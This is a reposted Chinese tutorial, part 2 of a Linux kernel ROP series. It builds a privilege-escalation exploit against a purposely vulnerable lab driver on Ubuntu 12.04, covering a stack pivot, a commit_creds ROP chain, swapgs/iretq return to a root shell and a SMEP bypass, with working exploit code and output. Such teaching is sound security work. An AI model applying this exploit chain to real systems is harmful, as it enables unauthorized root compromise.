热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux内核ROP姿势详解(二)

Linux内核ROP姿势详解(二)

前言

在本教程的第1部分中,我们已经演示了如何为我们的系统(3.13.0-32内核-Ubuntu 12.04.5 LTS)找到有用的ROP gadgets用来构建一个用来提权的ROP链。我们还开发了一个易受攻击的 内核驱动程序 ,允许任意代码执行。这部分我们将使用这个内核模块在实践中演示ROP链:提权,修复系统并干净地“退出”到用户态。

以下是第1部分的ROP链的要求:

执行提权的payload

可以引用驻留在用户空间中的数据(即允许从用户空间获取数据)

驻留在用户空间中的指令可能无法执行

第1部分演示的脆弱的内核模块由于缺少对offset边界的检查从而允许设置一个函数指针指向任意的内存地址。简单的触发代码如下所示:

#define DEVICE_PATH "/dev/vulndrv"
...

int main(int argc, char **argv) {
        int fd;
        struct drv_req req;

        req.offset = atoll(argv[1]);

        fd = open(DEVICE_PATH, O_RDONLY);

        if (fd == -1) {
                perror("open");
        }

        ioctl(fd, 0, &req;);

        return 0;
}

在上面的代码段中,我们控制了有漏洞的内核模块中被声明为unsigned long类型的offset,可以引用任何内核或用户空间的内存地址。

Stack Pivot

因为我们不能将内核控制流重定向到用户空间地址,所以我们需要在内核空间中寻找合适的gadget。在用户空间中准备我们的ROP链,然后将堆栈指针设置到此ROP链的开头。这样,我们不直接执行驻留在用户空间中的指令,而是从用户空间中获取指向内核空间中的指令。

在有漏洞的函数device_ioctl()的开头设断点,我们可以在函数指针解引用之前检查寄存器的值(在device_ioctl()调用之间有一些固定的值)。

0xffffffffa013d0bd        nopl   0x0(%rax,%rax,1) 
0xffffffffa013d0c2      push   %rbp
0xffffffffa013d0c3      mov    %rsp,%rbp
0xffffffffa013d0c6      sub    $0x30,%rsp
0xffffffffa013d0ca     mov    %rdi,-0x18(%rbp)
0xffffffffa013d0ce     mov    %esi,-0x1c(%rbp)
0xffffffffa013d0d1     mov    %rdx,-0x28(%rbp)           [user-space address of passed req struct]
0xffffffffa013d0d5     mov    -0x1c(%rbp),%eax
0xffffffffa013d0d8     test   %eax,%eax
0xffffffffa013d0da     jne    0xffffffffa013d145 
0xffffffffa013d0dc     mov    -0x28(%rbp),%rax
0xffffffffa013d0e0     mov    %rax,-0x10(%rbp)           [save req struct address to -0x10(%rbp)]
0xffffffffa013d0e4     mov    -0x10(%rbp),%rax
0xffffffffa013d0e8     mov    (%rax),%rax
0xffffffffa013d0eb     mov    %rax,%rsi
0xffffffffa013d0ee     mov    $0xffffffffa013e066,%rdi
0xffffffffa013d0f5     mov    $0x0,%eax
0xffffffffa013d0fa     callq  0xffffffff81746ca3
0xffffffffa013d0ff     mov    -0x10(%rbp),%rax
0xffffffffa013d103     mov    (%rax),%rax
0xffffffffa013d106     shl    $0x3,%rax
0xffffffffa013d10a     add    $0xffffffffa013f340,%rax
0xffffffffa013d110     mov    %rax,%rsi
0xffffffffa013d113     mov    $0xffffffffa013e074,%rdi
0xffffffffa013d11a     mov    $0x0,%eax
0xffffffffa013d11f     callq  0xffffffff81746ca3
0xffffffffa013d124    mov    $0xffffffffa013f340,%rdx      mov    -0x10(%rbp),%rax              mov    (%rax),%rax
0xffffffffa013d132    shl    $0x3,%rax
0xffffffffa013d136    add    %rdx,%rax                     mov    %rax,-0x8(%rbp)
0xffffffffa013d13d    mov    -0x8(%rbp),%rax
0xffffffffa013d141    callq  *%rax                         jmp    0xffffffffa013d146 
0xffffffffa013d145    nop
0xffffffffa013d146    mov    $0x0,%eax
0xffffffffa013d14b    leaveq
0xffffffffa013d14c    retq

rax寄存器包含要执行的指令的地址。我们可以提前计算这个地址,因为我们知道ops数组基地址和用于计算函数指针fn()的地址传递的offset的值。例如,给定的ops基地址0xffffffffaaaaaaaf和offset=0×6806288,fn地址为0xffffffffaaaaaaaf+8*0×6806288=0xffffffffdeadbeef。

反过来,我们可以找到在内核空间中执行的目标地址的偏移值。有很多stack pivot的gadgets小工具。例如,以下是用户空间ROP链中遇到的常见stack pivot:

  • mov %rsp, %rXx ; ret
  • add %rsp, ...; ret
  • xchg %rXx, %rsp ; ret
  • 在内核空间中实现任意代码执行需要将栈指针设置为我们控制的用户空间地址。即使我们的测试环境是64位,但是最后一个stack pivot使用32位寄存器,即xchg %eXx, %esp ; ret或xchg %esp, %eXx ; ret。如果$rXx包含有效的内核内存地址(例如0xffffffffXXXXXXXX),则该stack pivot指令将$rXx较低的32位(0xXXXXXXXX作为用户空间地址)设置为新的栈指针。由于该$rax值在执行fn()之前已知,所以我们知道新的用户空间栈将在哪里,并相应地执行mmap操作。

    使用第1部分中的ROPGadget工具,我们可以看到内核中有很多合适的包含xchg指令的stack pivots:

    0xffffffff81000085 : xchg eax, esp ; ret
    0xffffffff81576254 : xchg eax, esp ; ret 0x103d
    0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8
    0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8
    0xffffffff81762182 : xchg eax, esp ; ret 0x12eb
    0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9
    0xffffffff81a196fc : xchg eax, esp ; ret 0x1408
    0xffffffff814bd0fd : xchg eax, esp ; ret 0x148
    0xffffffff8119e39b : xchg eax, esp ; ret 0x148d
    0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c
    0xffffffff810db968 : xchg eax, esp ; ret 0x14ff
    0xffffffff81d5953e : xchg eax, esp ; ret 0x1589
    0xffffffff81951aee : xchg eax, esp ; ret 0x1d07
    0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c
    ...

    选择 stack pivot gadget时,唯一的注意事项是需要对齐8个字节(因为ops是8个字节指针的数组,并且其基址正确对齐)。以下简单的脚本可用于查找合适的gadget:

    ==================== find_offset.py ====================
    #!/usr/bin/env python
    import sys
    
    base_addr = int(sys.argv[1], 16)
    
    f = open(sys.argv[2], 'r') # gadgets
    
    for line in f.readlines():
            target_str, gadget = line.split(':')
            target_addr = int(target_str, 16)
    
            # check alignment
            if target_addr % 8 != 0:
                    continue
    
            offset = (target_addr - base_addr) / 8
            print 'offset =', (1 <<64) + offset
            print 'gadget =', gadget.strip()
            print 'stack addr = %x' % (target_addr & 0xffffffff)
            break
    ========================================================
    
    vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets
    vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets
    offset = 18446744073644332003
    gadget = xchg eax, esp ; ret 0x11e8
    stack addr = 8108e258

    上面的栈地址表示ROP链需要mmaped(fake_stack)的用户空间地址:

    unsigned long *fake_stack;
    
    mmap_addr = stack_addr & 0xfffff000;
    assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE,
    	MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr);
    
    fake_stack = (unsigned long *)(stack_addr);
    *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);

    选择的stack pivot中的ret指令具有数字操作数。没有参数的ret指令会将返回地址从堆栈中弹出并跳转到该地址。然而,在某些调用约定(例如Microsoft __stdcall)中,被调用方函数负责清理堆栈。在这种情况下,ret使用一个操作数来表示在获取下一条指令后从堆栈中弹出的字节数。因此,stack pivot之后的第二个ROP gadgets位于偏移位置0x11e8 + 8:一旦执行stack pivot,控制将被转移到下一个gadget,但堆栈指针将处于$rsp + 0x11e8。

    payload

    参考第1部分的堆栈布局,我们可以在用户空间中准备ROP链,如下所示:

    fake_stack = (unsigned long *)(stack_addr);
    
    *fake_stack ++= 0xffffffff810c9ebdUL;   /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
    
    *fake_stack ++= 0x0UL;                  /* NULL */
    *fake_stack ++= 0xffffffff81095430UL;   /* prepare_kernel_cred() */
    *fake_stack ++= 0xffffffff810dc796UL;   /* pop %rdx; ret */
    //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
    *fake_stack ++= 0xffffffff81095196UL;   /* commit_creds() + 2 instructions */
    *fake_stack ++= 0xffffffff81036b70UL;   /* mov %rax, %rdi; call %rdx */

    我们对第1部分的ROP链进行了一些修改。特别地,commit_creds()地址被移位了2个指令。这样做的原因是我们正在使用call指令执行commit_creds()。在call将控制转移到第一条指令之前,该指令将返回地址保存在堆栈上。和其他函数一样,commit_creds有开头和结尾,能够执行push和pop操作。因此,一旦函数执行,控制将被转移到保存的返回地址。但是,我们希望将其转移到ROP链中的下一个gadget。要使用该call指令作为ROP gadget,我们可以简单地跳过开头的一个push指令:

    (gdb) x/10i 0xffffffff81095190
    0xffffffff81095190      nopl   0x0(%rax,%rax,1)
    0xffffffff81095195      push   %rbp
    0xffffffff81095196      mov    %rsp,%rbp
    0xffffffff81095199      push   %r13
    0xffffffff8109519b      mov    %gs:0xc7c0,%r13
    0xffffffff810951a4      push   %r12
    0xffffffff810951a6      push   %rbx
    0xffffffff810951a7      mov    %rdi,%rbx
    0xffffffff810951aa      sub    $0x8,%rsp
    0xffffffff810951ae      mov    0x498(%r13),%r12

    跳过push $rbp(和第一个nop)允许我们使用将call指令作为ROP gadget:堆栈上保存的返回地址将被commit_creds()结尾弹出,ret会将控制流转移到ROP链中的下一个gadget。

    固定

    上述ROP链将给出我们的调用进程超级用户的权限。然而,一旦所有的ROP gadgets被执行,控制将被转移到堆栈上的下一条指令,那里是一些未初始化的内存值。我们需要以某种方式恢复堆栈指针并将控制转移回用户空间进程。

    您可能会意识到系统调用会一直切换内核/用户空间上下文。一旦进程执行系统调用,它需要恢复其状态,以便它可以在系统调用之后继续执行下一条指令。这通常使用iret(特权返回)指令从内核空间返回到用户空间进程。但是iret(或在我们的情况下为64位操作数的iretq)期望的特定的堆栈布局如下所示:

    我们需要扩展我们的ROP链,以包含一个新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。可以使用下面的save_state()函数从用户空间进程获取CS,SS和EFLAGS值:

    unsigned long user_cs, user_ss, user_rflags;
    
    static void save_state() {
            asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "pushfq\n"
            "popq %2\n"
            : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
    }

    内核.text段的iretq指令的地址可以通过objdump获得:

    vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -1
    ffffffff81053056:       48 cf                   iretq

    最后要注意的是,在执行iret之前,64位系统需要实现swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。

    我们现在可以将所有的ROP链放在一起:

    save_state();
    
    fake_stack = (unsigned long *)(stack_addr);
    
    *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
    
    fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
    
    *fake_stack ++= 0x0UL;                  /* NULL */
    *fake_stack ++= 0xffffffff81095430UL;   /* prepare_kernel_cred() */
    *fake_stack ++= 0xffffffff810dc796UL;   /* pop %rdx; ret */
    *fake_stack ++= 0xffffffff81095196UL;   /* commit_creds() + 2 instructions */
    *fake_stack ++= 0xffffffff81036b70UL;   /* mov %rax, %rdi; call %rdx */
    
    *fake_stack ++= 0xffffffff81052804UL;   /* swapgs ; pop rbp ; ret */
    *fake_stack ++= 0xdeadbeefUL;           /* dummy placeholder */
    
    *fake_stack ++= 0xffffffff81053056UL;   /* iretq */
    *fake_stack ++= (unsigned long)shell;   /* spawn a shell */
    *fake_stack ++= user_cs;                /* saved CS */
    *fake_stack ++= user_rflags;            /* saved EFLAGS */
    *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
    *fake_stack ++= user_ss;                /* saved SS */

    结果

    Ubuntu 12.04.5(x64)的完整EXP可以在 Github 上找到。首先,我们需要使用基地址获取数组偏移量:

    vnik@ubuntu:~$ dmesg | grep addr | grep ops
    [  244.142035] addr(ops) = ffffffffa02e9340
    vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets 
    offset = 18446744073644231139
    gadget = xchg eax, esp ; ret 0x11e8
    stack addr = 8108e258

    然后,将基地址和偏移地址传递给ROP:

    vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit
    vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340
    array base address = 0xffffffffa02e9340
    stack address = 0x8108e258
    # id    
    uid=0(root) gid=0(root) groups=0(root)
    #

    我们是否提到这将绕过SMEP?:)有更简单的方法绕过SMEP。例如,将CR4bit清除为ROP gadget,然后在用户空间中执行其余的提权payload(即commit_creds(prepare_kernel_cred(0))与iret)。本教程的目标不是绕过一定的保护机制,而是演示内核ROP(整个payload)可以像用户空间中的ROP一样容易地在内核空间中执行。内核ROP有明显的缺点:主要是需要能够获取对内核引导映像的访问(默认为0600)。这不是内核的问题,但是如果没有其他内存泄漏,那么对于自定义内核可能会是一个问题。

    *本文 参考来源: Linux Kernel ROP – Ropping your way to # (Part 2) , 作者:houjingyi,转载请注明来自FreeBuf.COM  


    以上所述就是小编给大家介绍的《Linux内核ROP姿势详解(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 我们 的支持!


    推荐阅读
    • 本文详细介绍了 PHP 中对象的生命周期、内存管理和魔术方法的使用,包括对象的自动销毁、析构函数的作用以及各种魔术方法的具体应用场景。 ... [详细]
    • 字节流(InputStream和OutputStream),字节流读写文件,字节流的缓冲区,字节缓冲流
      字节流抽象类InputStream和OutputStream是字节流的顶级父类所有的字节输入流都继承自InputStream,所有的输出流都继承子OutputStreamInput ... [详细]
    • 本文详细介绍了如何使用Python中的smtplib库来发送带有附件的邮件,并提供了完整的代码示例。作者:多测师_王sir,时间:2020年5月20日 17:24,微信:15367499889,公司:上海多测师信息有限公司。 ... [详细]
    • 2022年7月20日:关键数据与市场动态分析
      2022年7月20日,本文对当日的关键数据和市场动态进行了深入分析。主要内容包括:1. 关键数据的解读与趋势分析;2. 市场动态的变化及其对投资策略的影响;3. 相关经济指标的评估。通过这些分析,帮助读者更好地理解当前市场环境,为决策提供参考。 ... [详细]
    • 技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统
      技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统 ... [详细]
    • 2.2 组件间父子通信机制详解
      2.2 组件间父子通信机制详解 ... [详细]
    • 单片微机原理P3:80C51外部拓展系统
        外部拓展其实是个相对来说很好玩的章节,可以真正开始用单片机写程序了,比较重要的是外部存储器拓展,81C55拓展,矩阵键盘,动态显示,DAC和ADC。0.IO接口电路概念与存 ... [详细]
    • oracle c3p0 dword 60,web_day10 dbcp c3p0 dbutils
      createdatabasemydbcharactersetutf8;alertdatabasemydbcharactersetutf8;1.自定义连接池为了不去经常创建连接和释放 ... [详细]
    • 本文探讨了C语言和C++中大小写的处理方式,并详细介绍了如何在C++中实现不区分大小写的字符串比较。通过自定义`char_traits`类,可以灵活地处理字符的比较、复制和转换。 ... [详细]
    • 网站访问全流程解析
      本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
    • [转]doc,ppt,xls文件格式转PDF格式http:blog.csdn.netlee353086articledetails7920355确实好用。需要注意的是#import ... [详细]
    • javascript分页类支持页码格式
      前端时间因为项目需要,要对一个产品下所有的附属图片进行分页显示,没考虑ajax一张张请求,所以干脆一次性全部把图片out,然 ... [详细]
    • 如何在Java中使用DButils类
      这期内容当中小编将会给大家带来有关如何在Java中使用DButils类,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。D ... [详细]
    • 如何在PHP中获取数组中特定元素的索引位置
      在PHP中获取数组中特定元素的索引位置有多种方法。首先,可以使用 `array_search()` 函数,其语法为 `array_search(目标值, $array)`,该函数将返回匹配元素的第一个键名(即下标)。其次,也可以利用 `array_keys()` 函数,通过 `array_keys($array, 目标值)` 语法来获取所有匹配元素的键名列表。这两种方法都能有效解决数组元素定位的问题,具体选择取决于实际需求和性能考虑。 ... [详细]
    • 本文详细解析了客户端与服务器之间的交互过程,重点介绍了Socket通信机制。IP地址由32位的4个8位二进制数组成,分为网络地址和主机地址两部分。通过使用 `ipconfig /all` 命令,用户可以查看详细的IP配置信息。此外,文章还介绍了如何使用 `ping` 命令测试网络连通性,例如 `ping 127.0.0.1` 可以检测本机网络是否正常。这些技术细节对于理解网络通信的基本原理具有重要意义。 ... [详细]
    author-avatar
    兆龙77
    这个家伙很懒,什么也没留下!
    PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
    Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有